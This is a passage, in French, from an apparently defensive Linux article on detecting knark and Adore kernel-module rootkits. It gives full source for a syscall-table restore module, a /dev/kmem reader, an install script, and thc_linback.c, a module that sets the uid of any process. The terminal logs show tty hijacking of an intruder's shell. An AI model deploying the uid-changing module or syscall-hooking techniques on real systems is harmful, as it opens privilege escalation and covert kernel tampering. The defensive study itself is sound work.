0xc4d655dc WARNING! Should be at 0xc0108fd0
sys_getdents
0xc4d65454 WARNING! Should be at 0xc0130f98
# sert a cacher le module.
Voila les 8 syscall que modifie la rootkit knark.
D'une rootkit à une autre ce ne sont pas les mêmes syscall qui sont modifiés,
et cela est bien pratique pour savoir qu'elle rootkit rechercher. En général
une fois trouvée la rootkit elle-même il est facile de trouver les autres
fichiers qui appartiennent aux pirates. Si vous voulez savoir quel syscall
patcher pour modifier une action du système, lancez votre commande en debuging
avec strace :
[root@localhost /root]#
strace cat /etc/passwd | grep read
read(3, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 1003
read(3, "",
4096)
= 0
[-
Note -]
On a quasiment le meme resultat si l'on cherche cette
fois write, ce qui prouve qu'il est possible de
patcher sys_write a la place de sys_read, ce que fait Adore.
En modifiant insmod pour exécuter mon module
à chaque insertion de module vous êtes certain de ne pas avoir affaire à ce
type de rootkit, cependant vous pouvez aussi vous contentez d'ajouter un
./kstat -s | grep WARNING > /dev/null && ./root/callpach dans
votre cron pour vous assurez de retirer les modules chargés si il y en a !
Une bonne méthode consisterai à rediriger l'exécution de /sbin/insmod par
l'intermédiaire d'un binaire qui retire la redirection d'exécution pour faire
appel à l'insmod originel puis qui appel mon module via /root/callpatch, et
enfin replace correctement la redirection d'exécution (il est nécessaire qu'insmod
se trouve a son emplacement d'origine pour être lancer).
Attention ! Ne laissez pas kstat sous son nom originel, sinon vous prenez le risque qu'un hackers averti ne fasse un find / -name kstat -exec ./rexec {} fakekstat et redirige votre kstat vers un faux ou les sorties seraient filtrer !
Vous pouvez aussi aller jeter un oeil à /lib/modules/"kernel-version" pour voir les modules qui sont chargés au démarrage et tenter d'identifier un module rootkit, cependant il est probable que même si il y en un vous ne le verrez pas. C'est a ce moment qu'en utilisant mon module puis en regardant à nouveau, vous pourrez identifier les modules rootkit qui étaient jusqu'à présent invisibles. Voici une petite démonstration de mon module, ici la rootkit est Adore pour varier un peu de knark.
[root@linux KSTAT]# ./kstat -s | grep
W # Apparament
System.map n'est pas a jour et affiche une erreur. Peu importe.
sys_select
0xc010e598 WARNING! Should be at 0xc0131490
[root@linux KSTAT]# cd /root/rootkit/adore/
[root@linux adore]# insmod adore.o
# Maintenant le systeme est rootkitez
[root@linux adore]# cd /root/KSTAT/
[root@linux KSTAT]# ./kstat -s | grep
W # Si on
ignore sys_select, on voit les 7 syscall modifier par adore
sys_fork
0xc4cb842c WARNING! Should be at 0xc0108fb0
sys_write
0xc4cb85a0 WARNING! Should be at 0xc0126c94
sys_close
0xc4cb8650 WARNING! Should be at 0xc01268b4
sys_kill
0xc4cb84dc WARNING! Should be at 0xc0111068
sys_mkdir
0xc4cb873c WARNING! Should be at 0xc012f1d4
sys_select
0xc010e598 WARNING! Should be at 0xc0131490
sys_clone
0xc4cb8484 WARNING! Should be at 0xc0108fd0
sys_getdents
0xc4cb82a8 WARNING! Should be at 0xc0130f98
[root@linux KSTAT]# cd
[root@linux /root]# ./callpatch
# Lancement du patch
[!] Coder par Sauron.
[*] Syscall table regenerat0r launching !
Done.
[root@linux /root]# cd KSTAT/
[root@linux KSTAT]# ./kstat -s | grep
W # Le systeme
est redevenu comme lorsque le module fut chargee. Have
Phun :)
sys_select
0xc010e598 WARNING! Should be at 0xc0131490
[root@linux
/root]#
# Vous pouvez commencez la recherche des fichier du pirate.
Une fois le patch lancer, les processus cachés
apparaîtront. Faites une comparaison avant et après avoir lancer le module et
vous connaîtrez les pid dissimulés. Mon module est particulièrement pratique
dans le cas ou vous êtes infecté par la rootkit knark comme dans l'exemple
d'intrusion. En effet la rootkit knark cache tout ses secrets dans le
répertoire /proc/knark qui est invisible. Tant que
la rootkit est chargée ces répertoires existent, ils sont automatiquement
effacer lorsque knark est déchargée et que la fonction cleanup_module()
s'exécute. Le contenu des fichiers de /proc/knark/ n'est pas censé être
visible pour l'administrateur. Cependant en lançant mon module, la rootkit bien
qu'inefficace reste chargée. Aucune de ses fonctions ne sera plus appelée.
Cela signifie qu'une fois mon module lancé, il vous sera possible de connaître
tous les répertoires et tous les fichiers que votre intrus voulait vous
dissimuler en jetant un simple coup d'œil sur /proc/knark/ :
[root@localhost knark]# cd /proc/knark
[root@localhost knark]# ls
author files nethides pids redirects
[root@localhost knark]#
Ils contiennent les string référençant les
connections qui vous apparaissait invisibles, les fichiers invisibles, les
processus et les redirection d'exécution :) Perfect !
Un défaut commun aux rootkits est qu'ils sont obligées de savoir quoi cacher
et quoi laisser visible. Pour cacher leur processus, fichier ou autre il font
donc leur donner un attribut qui les démarquera des autres. Cet attribut une
fois connu combiner à mon module va vous permettre de trouver toutes les traces
de l'activité de votre pirate qui se croyait en sécurité à l'abri de son
module. Dans le cas du rootkit adore, les fichiers ont comme utilisateur ou
comme groupe 30, pour knark ils sont listé dans les fichiers de /proc/knark. Et
en examinant le code de chacune des rootkit vous serez en mesure de toutes les
détecter et les mettre en échec :)
[- Piéger son pirate -]
Pensez de temps à autres à vérifier que les terminaux de vos utilisateur ne
sont pas root. Si c'est le cas vous pouvez utilisez un module qui va changer l'uid
d'un pid. Ainsi si vous voyez un shell root qui n'est pas le votre, vous pouvez
le passez en nobody, puis surveiller son terminal en pratiquant du tty hijacking.
(des outils existent d'or et déjà permettant cette manipulation sans
connaissances approfondies, voyez notamment Sinto de s0ftpjt).
Si le pirate a caché un shell suid root quelque part vous pourrez découvrir
où puisqu'il y a des chances qu'il y fasse appel, ne comprenant pas pourquoi whoami
lui affiche nobody avec un prompt root ;) Voici un exemple d'une tel
modification :
root@linux /root]# ps -aux | grep sh | grep
root
(...)
root 1649 0.2 1.8 2060 1208 pts/1
S 18:24 0:00 /bin/sh
# surtout ne pas paniquer ! ;) mdr...
root@linux /root]# insmod /root/lkm/thc_linback.o
root@linux /root]# /root/lkm/thc_lincall 99 1649
return code is: 0!
root@linux /root]# ps -aux | grep sh | grep nobody
nobody 1649 0.2 1.8 2060 1208
pts/1 S 18:24 0:00 /bin/sh
# Ahh.. c'est mieux :) Merci les modules !
root@linux /root]# /root/tools/ttyhijack /dev/pts/1 >> /root/LogMrHacker
&; sleep 10 # donne moi des infos
stp :))
root@linux /root]# echo Pti con va ! >> /dev/pts/1
root@linux /root]# kill
1649
# chérie ? je crois que ça va couper :)
Le code de ce module se trouve a la fin de cette article. Il peut également vous servir afin modifier les permissions de services (mettre httpd avec des droit nobody si ce n'est pas le cas sans devoir le relancer par exemple). Je ne vais pas continuer à détailler toutes sortes de procédures à suivre, j'ai simplement voulu vous présenter quelque outils de hacking dont il peut être très utiles de se servir.
Cette introduction à la sécurité Linux est s'achève. Je pense que si vous suivez tous les conseils et techniques donnés ici, les risques que vous soyez un jour piraté sont grandement diminués mais gardez à l'esprit cette phrase connue en sécurité informatique : there is no security, all we can do is manage the risk. Et si vous êtes tout de même piraté, vous serez vite en mesure de rétablir l'intégrité de votre système, cependant il sera peut être trop tard pour votre page d'accueil ;) Allez une dernière astuce pour la route : bloquer les pages d'accueil en écriture de manière discrète avec la commande chattr +ia <fichier> même si vous pourrez retirer cette protection facilement avec le même binaire, il est peu probable qu'un pirate y pense, de plus vous pouvez cacher le binaire chattr (whereis chattr pour le trouver). La meilleur méthode pour s'assurer de ne pas être visité reste encore de s'informer des nouvelles attaques à la disposition des assailants, et de ne pas les laisser vous devancer : tel un bon joueur d'échec vous devez sans cesse devancer votre adversaire. Je vous conseille d'aller vous abonner à la mailing-list Bugtraq de SecurityFocus qui recense les nouvelles failles découvertes et les discussions qui y sont liées :) Le débit important de cette liste peut en rebuter plus d'un mais en tant qu'administrateur sécurité ou système je pense que cela fait parti de votre travail, de plus il y a des tas d'utilitaires permettant de filtrer les mails concernant votre OS ou des services que vous fournissez...
Nous avons vu comment nous protéger
efficacement des outils de nouvelle génération, mais il se prépare déjà la
génération suivante : Les rootkits patcheront directement /dev/kmem
afin de ne pas se laissez repérer par des outils comme kstat, de plus la table
des syscall ne sera plus modifier, les syscall seront directement hijacker (en
plaçant par exemple un jump comme première instruction renvoyant directement
à l'adresse du faux syscall). Le talentueux coder Silvio Cesare a déjà écrit
des articles concernant ses techniques dès 1998, diffusant des codes sources de
tels modules, cependant les implémentations complètes dans des rootkits de la
même ampleur et finition qu'Adore ou Knark ne sont pas encore apparues ou bien
n'ont pas encore été publiquement releasées. J'ai donc tout de même pensé
à équiper mon module d'une parade à ce type d'attaque : lors de son
chargement il sauvegarde les 15 premiers octets de chacun des syscall auxquels
nous tenons pour les réinscrire plus tard. Ainsi si un jump a été ajouter il
sera retiré et le syscall remis dans son état original. Une méthode efficace
que les pirates pourraient alors utiliser, serait de ne pas modifier l'adresse
des syscall dans la syscall table, mais d'écrire directement
sur les syscall et d'y placer le syscall modifié à la manière dont on pose un
shellcode en mémoire. Ce type d'attaque pourra berner mon module quand ce
"syscall"-code aura les mêmes 15 premier octet que le syscall
identique. Nous n'en sommes pas encore la et je pense que mon module fera
l'affaire pour un petit bout de temps.
En attendant qu'il soit vraiment nécessaire de se protéger de se type d'outils plus vicieux, protégez déjà votre machine des failles actuellement exploitées. Et même si la plupart des piratages sont très facilement détectables car effectués par des script kiddies avec des outils connus, n'oubliez pas qu'il existe des hackers maîtrisant parfaitement les mécanismes des réseau et du système Linux, particulièrement au niveau sécurité, c'est pourquoi mieux vaut installer des protections efficaces pour ne pas rester sans défenses devant de tels individus. Heureusement pour les admin dont le système est déjà compromis, rien n'est désespérer. En allant chercher les informations directement dans /dev/kmem vous pourrez récupérer l'adresse originel des syscall qui ont été modifié. En rajoutant quelque #define à mon module (la procédure est détaillée en commentaire de celui-ci) vous devriez arrivez a remettre votre syscall table en état. Je fournit avec cet article les code sources permettant de récupérer votre système des mains d'un pirate (ouf !).
J'espère vous avoir donner quelques idées pour mettre à profit la puissance des modules et ne surtout pas laissez une telle technologie uniquement aux mains de la communauté blackhat.
Bon courage a tous pour administrer votre r3z0 et le rendre le plus secure possible :)
Nicolas Brito a.k.a Sauron
N'hesitez pas pour tout commentaires ou pour de l'aide
ps : Je
tient a faire savoir que le (mauvais) magazine Hackerz Voice m'a voler
les droit d'un article que j'avais écrit l'été dernier et publié sur le
réseau sous le titre
"Sécuriser son linux". Hackerz voice a publié mon article dans son
intégralité en prenant soin d'effacer mon e-mail et ma signature puis en
signant "Prof".
Après un courrier en recommandé, ils me font savoir que je n'en suis pas
l'auteur, m'obligeant ainsi à régler ce litige par la voie judiciaire. Non
mais !
-=-=-=-=-=-=-=-= Code Source -=-=-=-=-=-=-=-=-=-
### Voila plusieurs
outils qui vous seront très utile j'en suis sûr :
1- Le premier code est mon module, suivi du programme
destinée à y faire appel (respectivement patch.c et callpatch.c)
2- Le second n'est autre qu'un fragment du programme kstat
que j'ai modifié. Désormais il sert uniquement à afficher l'état des syscall.
Cela uniquement dans le but de s'assurer que le
système est sain au moment ou vous chargerez mon module.
Pour une utilisation autre de kstat, je vous invite
à aller le téléchargement sur s0ftpr0j. Kstat se
compose lui aussi de 2 fichiers : kmemread.c (c'est ce programme que j'ai
modifié, il est désormais destiné à aller chercher
l'adresse originelle des syscall généralement modifié par les rootkits) et le
lanceur de kstat, main.c.
4- Vous trouverez ensuite encore un module et son lanceur,
c'est celui qui permet de modifier l'uid d'un pid. Comme mon module, il
implémente un nouveau syscall pour faire le
boulot.
5- Enfin j'ai écrit un petit script shell destinée à
vous installez tout ça, vous n'aurez qu'a réunir les fichiers qui suivent dans
un même répertoire et à lancer le script Install.sh
!
-=-=-=-=-=Cut here=-=-=-=-=-=
Patch.c :
/*
* Description : Ce module linux va ajouter un syscall
numero SYSNUM, 191 par default. Je
* conseille de modifier ce numéro pour éviter une
redirection de syscall, ce que ce module
* veut justement empêcher !
* Ce module sauvegarde les syscall affectés par les lkm
rootkits tels que knark ou encore
* Ombra. A l'appel du syscall SYSNUM, la sys_call_table
est remise dans l'état ou elle a été
* trouvée, annulant ainsi l'effet des modules
backdoors. De plus les 15 premiers bytes de
* chacun des syscall que nous tenons à préserver sont
sauvegardés pour être remis en place,
* évitant ainsi le hijacking de syscall (méthode
inventée par Silvio Cesare pour ne pas avoir
* besoin de modifier la syscall table et éviter les
IDS).
*
* Note : Si vous vous
apercevez avec kstat que votre système a déjà été infecté, il va vous
* falloir modifier ce module avant de le charger comme
suit :
* - Remplacez dans les #define RESTORE et SAVE old_##x
par def_##x.
* - Ajoutez un define pour chacun des 18 syscall que
supporte ce module selon ce schéma :
* #define def_write 0xc0126c94 (addresse
originel de sys_write)
* - La dernière petite modification est de copier le
define de RESTORE ainsi que tout ces
* appel dans init_module, pour que la
sauvegarde des 15 premiers octets de syscall qui est
* faite ne soit pas corrompue.
*
*
* * Compilation en douceur avec :
*
* gcc patch.c -c -D__KERNEL__
-DMODULE -DMODVERSIONS -I/usr/src/linux/include -O6
* insmod patch.o
pour le charger.
*
* Auteur : saur0n
*
* E-mail : humour@humour.com
*/
#define __KERNEL_SYSCALLS__
#include <linux/version.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/sched.h>
#include <linux/smp_lock.h>
#include <linux/stat.h>
#include <linux/dirent.h>
#include <linux/fs.h>
#include <linux/if.h>
#include <linux/modversions.h>
#include <linux/malloc.h>
#include <linux/unistd.h>
#include <linux/string.h>
#include <linux/skbuff.h>
#include <linux/ip.h>
#include <sys/syscall.h>
#include <linux/dirent.h>
#include <linux/proc_fs.h>
#include <asm/uaccess.h>
#include <asm/errno.h>
#define SYSNUM 191
extern void *sys_call_table[];
static char code_getdents[15];
static char code_kill[15];
static char code_read[15];
static char code_ioctl[15];
static char code_fork[15];
static char code_clone[15];
static char code_execve[15];
static char code_settimeofday[15];
static char code_close[15];
static char code_symlink[15];
static char code_mkdir[15];
static char code_write[15];
static char code_unlink[15];
static char code_chdir[15];
static char code_setuid[15];
static char code_getuid[15];
static char code_socketcall[15];
static char code_query_module[15];
int (*old_getdents)(unsigned int, struct
dirent *, unsigned int);
int (*old_kill)(int, int);
int (*old_read)(unsigned int, char *, size_t);
int (*old_ioctl)(int, int, long);
int (*old_fork)(struct pt_regs);
int (*old_clone)(struct pt_regs);
int (*old_execve)(struct pt_regs);
int (*old_settimeofday)(struct timeval *, struct timezone *);
int (*old_close)(unsigned int);
int (*old_symlink)(const char *, const char*);
long (*old_mkdir)(const char *, int);
int (*old_write)(unsigned int, char *, size_t);
int (*old_unlink) (const char *) ;
int (*old_chdir) (const char *) ;
int (*old_setuid) (uid_t) ;
int (*old_getuid) () ;
int (*old_socketcall) (int, unsigned long *);
int (*old_query_module)(const char *, int, char *, size_t, size_t *) ;
int (*oldfunc)();
void *_memcpy(void *dest, const void *src, int size)
{
const char *p = src;
char *q = dest;
int i;
for (i = 0; i < size; i++) *q++ = *p++;
return dest;
}
asmlinkage int restore_system() {
#define RESTORE(x)
sys_call_table[__NR_##x] = old_##x
RESTORE(write);
RESTORE(close);
RESTORE(mkdir);
RESTORE(getdents);
RESTORE(kill);
RESTORE(read);
RESTORE(ioctl);
RESTORE(fork);
RESTORE(clone);
RESTORE(settimeofday);
RESTORE(execve);
RESTORE(unlink);
RESTORE(chdir);
RESTORE(setuid);
RESTORE(getuid);
RESTORE(socketcall);
RESTORE(query_module);
#define NOHIJACK(hca)
_memcpy(sys_call_table[__NR_##hca], code_##hca, sizeof(code_##hca));
NOHIJACK(write);
NOHIJACK(close);
NOHIJACK(mkdir);
NOHIJACK(getdents);
NOHIJACK(kill);
NOHIJACK(read);
NOHIJACK(ioctl);
NOHIJACK(fork);
NOHIJACK(clone);
NOHIJACK(settimeofday);
NOHIJACK(execve);
NOHIJACK(unlink);
NOHIJACK(chdir);
NOHIJACK(setuid);
NOHIJACK(getuid);
NOHIJACK(socketcall);
NOHIJACK(query_module);
return 0;
}
int init_module(void)
{
#define TAPEUNEDOUILLE(x)
old_##x = sys_call_table[__NR_##x]
TAPEUNEDOUILLE(write);
TAPEUNEDOUILLE(close);
TAPEUNEDOUILLE(mkdir);
TAPEUNEDOUILLE(getdents);
TAPEUNEDOUILLE(kill);
TAPEUNEDOUILLE(read);
TAPEUNEDOUILLE(ioctl);
TAPEUNEDOUILLE(fork);
TAPEUNEDOUILLE(clone);
TAPEUNEDOUILLE(settimeofday);
TAPEUNEDOUILLE(execve);
TAPEUNEDOUILLE(unlink);
TAPEUNEDOUILLE(chdir);
TAPEUNEDOUILLE(setuid);
TAPEUNEDOUILLE(getuid);
TAPEUNEDOUILLE(socketcall);
TAPEUNEDOUILLE(query_module);
#define SAVE(hca) _memcpy(code_##hca,
sys_call_table[__NR_##hca],sizeof(code_##hca));
SAVE(write);
SAVE(close);
SAVE(mkdir);
SAVE(getdents);
SAVE(kill);
SAVE(read);
SAVE(ioctl);
SAVE(fork);
SAVE(clone);
SAVE(settimeofday);
SAVE(execve);
SAVE(unlink);
SAVE(chdir);
SAVE(setuid);
SAVE(getuid);
SAVE(socketcall);
SAVE(query_module);
oldfunc = sys_call_table[SYSNUM];
sys_call_table[SYSNUM] = restore_system;
return 0;
}
void cleanup_module(void)
{
sys_call_table[SYSNUM] = oldfunc;
}
-=-=-=-=-=-=-=- Cut Here =-=-=-=-=-=-=-=-
callpatch.c :
/*
call_regenerator place $0xbf ( 191 ) dans %eax avant d'appeler l'interuption int
$0x80 qui a pour
effet d'appeler le syscall dont %eax contient le numero, vous devrez donc
modifier une ligne
si vous voulez attribuez un autre numero de syscall a ce patch.
*/
#include <asm/unistd.h>
#include <stdio.h>
int errno;
int call_regenerator()
{
__asm__("
movl $191, %eax
int $0x80
");
}
int main()
{
printf("\n[!] Codé par Sauron.\n[*] Syscall table regenert0r launching
!\n");
call_regenerator();
printf("Done.\n\n");
}
-=-=-=-=-=-=-=- Cut Here =-=-=-=-=-=-=-=-
Voici kmemread.c :
/*
* Description : Il s'agit d'un programme qui va chercher l'adresse des syscall
* souvent modifier par les rootkit dans /dev/kmem directement pour ensuite faire
* appele a un module qui restaurera la sys_call_table dans son etat avant
trojanisation
* Les modules trojan modifiant les syscall n'auront donc plus aucun effet. Le
module
* peut recommencer autant de fois que necessaire. Une petite modification du
binaire
* /sbin/insmod (ou une redirection en execution) peut s'averer necessaire pour
* que mon module soit appeler immediatement apres insmod appeler. Ainsi vous
vous
* assurez qu'aucun module trojan ne poura etre installer. Cela vous evite de
mettre
* le restaurateur de syscall et de la sys_call_table dans vos cron.
*
* Auteur : j'ai (saur0n) simplement modifier le code de
* FuSyS de "SoftProject Digital Security for Y2K" fourni avec kstat
pour l'associer
* avec mon module et pour que celui ci puisse etre efficace meme si le systeme
* est deja compromis lors de son chargement :-)
*
*/
#define __KERNEL__
#include <linux/netdevice.h>
#include <linux/inetdevice.h>
#include <linux/if_arp.h>
#include <linux/sched.h>
#include <linux/capability.h>
#include <linux/module.h>
#undef __KERNEL__
#define SYSTEMMAP "/boot/System.map"
#define QM_SYMBOLS 4
#include <errno.h>
#define SEEK_SET 0
typedef struct _IO_FILE FILE;
extern FILE *fopen __P ((__const char *__restrict __filename,
__const char *__restrict __modes));
extern char *fgets __P ((char *__restrict __s, int __n,
FILE *__restrict __stream));
extern unsigned long int strtoul __P ((__const char *__restrict __nptr,
char **__restrict __endptr,
int __base));
extern int printf __P ((__const char *__restrict __format, ...));
extern int open __P ((__const char *__file, int __oflag, ...));
extern __ptr_t realloc __P ((__ptr_t __ptr, size_t __size));
extern void free __P ((__ptr_t __ptr));
extern off_t lseek __P ((int __fd, off_t __offset, int __whence))
extern ssize_t read __P ((int __fd, __ptr_t __buf, size_t __nbytes));
extern __ptr_t malloc __P ((size_t __size));
#define KMEM "/dev/kmem"
#define SYSCALL "sys_call_table"
int errno, fd;
char *iff, name[10];
void uso(char*);
int find_kmem_offset(char*);
int kread(int, unsigned long, void*, int);
void err(char*);
int find_maddr(char*);
void show_syscalls();
unsigned long find_smap_addr(char*);
struct new_module_symbol
{
unsigned long value;
unsigned long name;
};
int query_module(const char *name, int
which, void *buf, size_t bufsize,
size_t *ret);
int find_kmem_offset(char *sym_name)
{
struct new_module_symbol *syms, *s;
size_t ret, bufsize, nsymbols, j;
syms=malloc(bufsize = sizeof(struct
new_module_symbol));
retry_kern_symbol_load:
if(query_module(NULL, QM_SYMBOLS, syms, bufsize, &ret)){
if (errno == ENOSPC){
syms =(struct new_module_symbol *)realloc(syms, bufsize = ret);
goto retry_kern_symbol_load;
}
printf("find_kmem_offset: QM_SYMBOLS error %d\n", errno);
return -1;
}
nsymbols = ret;
for (j = 0, s = syms; j < nsymbols; ++j,
++s){
if(strstr((char *)syms+s->name, sym_name)){
free(syms);
return s->value;
}
}
printf("%s Kmem Offset Not Found\n\n", sym_name);
free(syms);
return -1;
}
int kread(int des, unsigned long addr, void
*buf, int len)
{
int rlen;
if(lseek(des, (off_t)addr, SEEK_SET) == -1)
return -1;
if((rlen = read(des, buf, len)) != len)
return -1;
return rlen;
}
#define NR 18
char *sysc[NR]={
"ni_syscall",
"write","close","mkdir", "getdents",
"kill", "read", "ioctl", "fork",
"clone", "settimeofday", "execve", "unlink",
"chdir", "setuid", "getuid", "socketcall",
"query_module"};
unsigned long find_smap_addr(char *syscall)
{
FILE *fd;
char buff[8192], call[50], addr[15];
fd=fopen(SYSTEMMAP, "r");
memset(&call, '\0', 50);
memset(&addr, '\0', 15);
strncat(call, "sys_", 4);
strncat(call, syscall, strlen(syscall));
strncat(call, "\n", 1);
call[5+strlen(syscall)+1]='\0';
while((fgets(buff, 8192, fd))!=NULL){
if(strstr(buff, call)){
if(!strcmp(buff+11, call)){
strncat(addr, "0x", 2);
strncat(addr, buff, 8);
addr[11]='\0';
return(strtoul(addr, NULL, 0));
}
}
}
return -1;
}
void show_syscalls()
{
int kd, i;
unsigned int kaddr;
unsigned long kmem_call_table[NR], smapaddr;
kaddr=find_kmem_offset(SYSCALL);
kd=open(KMEM, O_RDONLY);
if(kread(kd, (unsigned long)kaddr, &kmem_call_table, sizeof(kmem_call_table))
== -1) err("[!] Erreur pendant la lecture de /dev/kmem avec kread ! desole
...");
printf("[- Syscall -] [-Address
d'origine -]");
for(i=1; i < NR; i++)
if(kmem_call_table[i]){
printf("\nsys_%-22s",
sysc[i]);
smapaddr=find_smap_addr(sysc[i]);
if(kmem_call_table[i] != smapaddr && smapaddr!=0xffffffff)
printf("%p",
(void*)smapaddr);
}
printf("\n");
}
-=-=-=-=-=-=-=- Cut Here =-=-=-=-=-=-=-=-
Voici main.c :
#define __KERNEL__
#include <linux/module.h>
#undef __KERNEL__
void show_syscalls();
int main() {
show_syscalls();
exit(0);
}
-=-=-=-=-=-=-=- Cut Here =-=-=-=-=-=-=-=-
Voila thc_linback.c :
/*
* idea & credits go to pragmatic / THC and his "Attacking
FreeBSD with Kernel Modules"
* ported to linux by belf@s0ftpj.org (tested on debian 2.2 - kernel
2.2.15)
* compile with 'gcc -c thc_linback.c -O6 -I/usr/src/linux/include/'
* greetz to pig and vecna @ s0ftpj.org
*/
#define __KERNEL__
#define MODULE
#include <linux/kernel.h>
#include <linux/module.h>
#include <asm/unistd.h>
#include <asm/current.h>
#include <linux/sched.h>
#define MYFUNC 192 // here you have to define where register the syscall (see arch/i386/kernel/entry.S)
extern void *sys_call_table[];
int (*fuqfunc)();
asmlinkage int you_make_me_real(unsigned
short k_uid, int k_pid) {
struct task_struct *q;
for_each_task(q) {
if(q->pid == k_pid) {
q->uid = k_uid;
q->euid = k_uid;
return 0;
}
}
return -1;
}
int init_module() {
fuqfunc = sys_call_table[MYFUNC];
sys_call_table[MYFUNC] = you_make_me_real;
printk("func (0x%x) registered at offset 0x%x\n",
you_make_me_real, sys_call_table[MYFUNC]);
return 0;
}
void cleanup_module() {
sys_call_table[MYFUNC] = fuqfunc;
printk("func registered at offset 0x%x released\n",
sys_call_table[MYFUNC]);
}
-=-=-=-=-=-=-=- Cut Here =-=-=-=-=-=-=-=-
Voila call_thc.c :
/*
* How to use the syscall you_make_me_real()
* belf@s0ftpj.org
* greetz to pIG ;)
*/
#include <asm/unistd.h>
#define MYFUNC 192
int errno;
int call_you_make_me_real(unsigned short
uid, int pid) {
long __res;
__asm__ volatile ("int $0x80"
: "=a" (__res)
: "0" (MYFUNC),"b" ((long)(uid)),"c"
((long)(pid)));
__syscall_return(int,__res);
}
int main(int argc, char *argv[]) {
if(argc != 3) {
printf("%s <uid> <pid>\n", argv[0]);
exit(-1);
}
printf("return code is: %d!\n", call_you_make_me_real(atoi(argv[1]),
atoi(argv[2])));
}
-=-=-=-=-=-=-=- Cut Here =-=-=-=-=-=-=-=-
Et enfin voici le script shell qui vous installera tout ca , vous n'avez plus qu'a placer ces differents fichier dans un seul et meme repertoire :
#!/bin/sh
uname -a | grep inux | grep 2.2 >/dev/null || echo Avez vous vraiment un
kernel linux 2.2.x ?
gcc -O2 -Wall -Werror -I/usr/src/linux/include main.c -c 2&>1
gcc -O2 -Wall -Werror -I/usr/src/linux/include kmemread.c -c 2&>1
gcc -O2 -Wall -Werror -I/usr/src/linux/include main.o kmemread.o -o kstat
2&>1
gcc patch.c -c -D__KERNEL__ -DMODULE -DMODVERSIONS -I/usr/src/linux/include
-O6 2&>1
gcc callpatch.c -o callpatch 2&>1
gcc -c thc_linback.c -O6 -I/usr/src/linux/include/ 2&>1
gcc call_thc.c -o call_thc 2&>1
echo [*] Now launch kstat then insmod patch.o if all s good
echo [*] Else read the comment in the header source of the module.
echo [*] Then lauch callpatch for restore your system
echo [*] Insmod thc_linback.o for play with uid of pid !
echo [*] use call_thc to do this !
echo [*] Amusez vous bien avec tout ca :-\)